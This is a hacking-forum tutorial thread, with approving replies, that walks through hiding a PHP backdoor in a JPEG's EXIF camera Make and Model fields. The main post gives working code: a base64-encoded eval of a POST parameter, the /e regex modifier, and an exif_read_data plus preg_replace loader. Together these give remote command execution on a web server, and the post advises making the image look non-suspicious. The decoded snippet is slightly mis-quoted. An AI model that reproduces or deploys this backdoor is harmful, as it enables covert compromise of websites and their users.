Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[Tutorial] EXIF Data Image Backdoor [PICS!]

Hello HackForums. I've been gone for a while now, and wanted to contribute something spicy to you guys that I recently learned about.

Editing EXIF data can be used for several exploitation methods, such as shelling websites (getimagesize bypass via comment headers), and what we're going over today.
Remote Code Execution code on a server using a local or remote image, using 2 PHP functions.

For thist tutorial, you need shell access, a writeable directory, PHP 4.20 ---> PHP 5, and PREG_REPLACE enabled in your PHP configuration.

EXIF_READ_DATA()
The first function is called exif_read_data().

EXIF_READ_DATA()

PHP Code

<?php 
array exif_read_data ( string $filename [, string $sections = NULL [, bool $arrays = false [, bool $thumbnail = false ]]] ) 

Quote:exif_read_data() reads the EXIF headers from a JPEG or TIFF image file. This way you can read meta data generated by digital cameras.


PREG_REPLACE()
The second function is called preg_replace().

PREG_REPLACE()

PHP Code

<?php 
mixed preg_replace 
( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) 

Quote:Searches subject for matches to pattern and replaces them with replacement.



Now, EXIF headers can be modified using several programs (ColorPilot, EXIFPilot, EXIFEditor, GIMP, etc).
2 of the headers we're going to be using in this tutorial are 'Make' (Camera Maker), and 'Model' (Camera Model).

The reason these 2 are being used is - these fields being modified has no effect on the as far as display goes (the image will render normally with no errors on the page).

Now it is possible to store shellcode (malicious code) into these EXIF headers, using either a remote or local image uploaded on the web, and have the code executed on the local server using the PHP function exif_read_data().

Part 1: Creating Image

Open up paint, and create an image (something non suspicious, you don't want your backdoor hella obvious). You can use an image already hosted on the target site.

Spoiler (Click to View)

Now save it as whatever.JPG (IMPORTANT NOT EVERY IMAGE FORMAT CONTAINS EXIF DATA!!)
I'm saving mine as RCE.jpg for this example. (Remote Code Execution)

Part 2: Backdooring EXIF Data

Once you're done, now you're gonna place your malicious code into the EXIF headers.
Right click your image, go to properties, click details, and scroll down to where it says Camera.

Spoiler (Click to View)

Now where it says "Camera Model" - paste this snippet in there, so it looks like the above image.

PHP Code

<?php 
eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsiUkNFIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJSQ0UiXSkpO30=')); 

Your shellcode is encoded in base64. Decoded, it looks like this.

PHP Code

<?php 
eval(base64_decode('if (isset($_POST["RCE"])) {eval(stripslashes($_POST["RCE"]));})); 

This will code will EVALuate your base64-encoded string and check for POST data ("RCE"), being sent to the page later on.
Your payloads will go here.

Quote:The eval() function evaluates a string as PHP code.


EVAL()

Now where it says "Camera Maker" - paste this snippet in there so it looks like the above image.
Code
/.*/e

/.*/e uses the PCRE regex modifier, which will EVALuate the data from your Camera Model using PREG_REPLACE() (later), executing the base64-encoded string which will check for POST data.

When your done, click apply and click ok.

Part 3: Checking The EXIF data

Right click your image, and go to Open With ~~> Notepad.
As you scroll over, you'll see random characters, and your EXIF headers in there somewhere too.

Spoiler (Click to View)

Now go to your local server,upload your image and create a new file (whatever.php). I'm gonna make a new directory called includes, and make a new index file in there.

Code
http://www.site.com/includes/index.php

Place this code in your new file. This is where exif_read_data() comes into play. We're gonna dump the EXIF data, once again to check if it's in our headers.

PHP Code

<?php
$exif 
= exif_read_data('FULL/SITE/PATH/IMAGES/RCE.JPG');
var_dump($exif);
?>

Replace FULL/SITE/PATH with your site path of course if your using a local image file, or if you're using a remote image - change it to the URL of your malicious image.
Spoiler (Click to View)

Now save your new file, and open it up. You should get something like this.
Spoiler (Click to View)

Part 4: Remote Code Execution!!

Now, you're all set. Go back to your created file, and edit it.
Place your PREG_REPLACE code into your file, under read_exif_data().

PHP Code

<?php 
preg_replace
($exif['Make'],$exif['Model'],''); 

Your file should look like this.

PHP Code

<?php
$exif 
= exif_read_data('FULL/SITE/PATH/IMAGES/RCE.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
?>

Spoiler (Click to View)


Now save your file. Remember, your encoded string checks for a POST parameter called RCE. So enable POST data, and enter your commands under RCE.

Spoiler (Click to View)

Now you can put your backdoor code in any index file and use execute commands when you enable POST data.
Enjoy! ✌
This is a mighty fine tutorial, i wasn't aware that exif data could be used in such a way.
Thanks for writing this.
Definitely booking marking this thread. It fills my heart with joy to see something like this posted in this section, especially through all the shit we've seen lately.

Great work -DownFall.

~Arcane 🤝
Oh, I haven't seen you make a thread in a while.
It's good to have you back.
Posting here so i'll find it later!
I have seen few like this, but they are pretty simple and badly documented.

thanks!
[Image: vBKaZOL.gif]
What an amazing tutorial.. Keep it up man.
Nice mate, like to see some new stuff around here
Smart ass , Welcome back bish , Keep it up!
Team INTRA
Great contribution, thanks for posting. Hope to see you more active.
Awesome tutorial .. Keep that shit up !! :D
This is an interesting tutorial, thanks for sharing.

Hey there,
If I have helped you or if you just enjoy my posts, please consider donating bitcoin to me 1DpL2kcxuidEsjt2MMN2AYufcVoXbi3v2X

[Image: FtwuQgr.gif]
-Downfall! I haven't seen you here in a long time... Your tutorials have helped me a lot over the years. It's good to have you back.
Amazing tutorial by the way. Bookmarked.
This is impressing, thanks for sharing it with the community.
Thank you all for the support, feels good to be back :3
Nice tutorial -DownFall, glad to see you're back.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by oncoAug 25, 2023 01:12 PM 0 170 Aug 25, 2023 01:12 PM
Last Post: onco
by DonJujiAug 15, 2023 11:51 PM 5 190 Aug 15, 2023 11:51 PM
Last Post: DonJuji
by Alpha.Stallion997Feb 23, 2019 12:01 PM 6 446 Feb 23, 2019 12:01 PM
Last Post: garkolym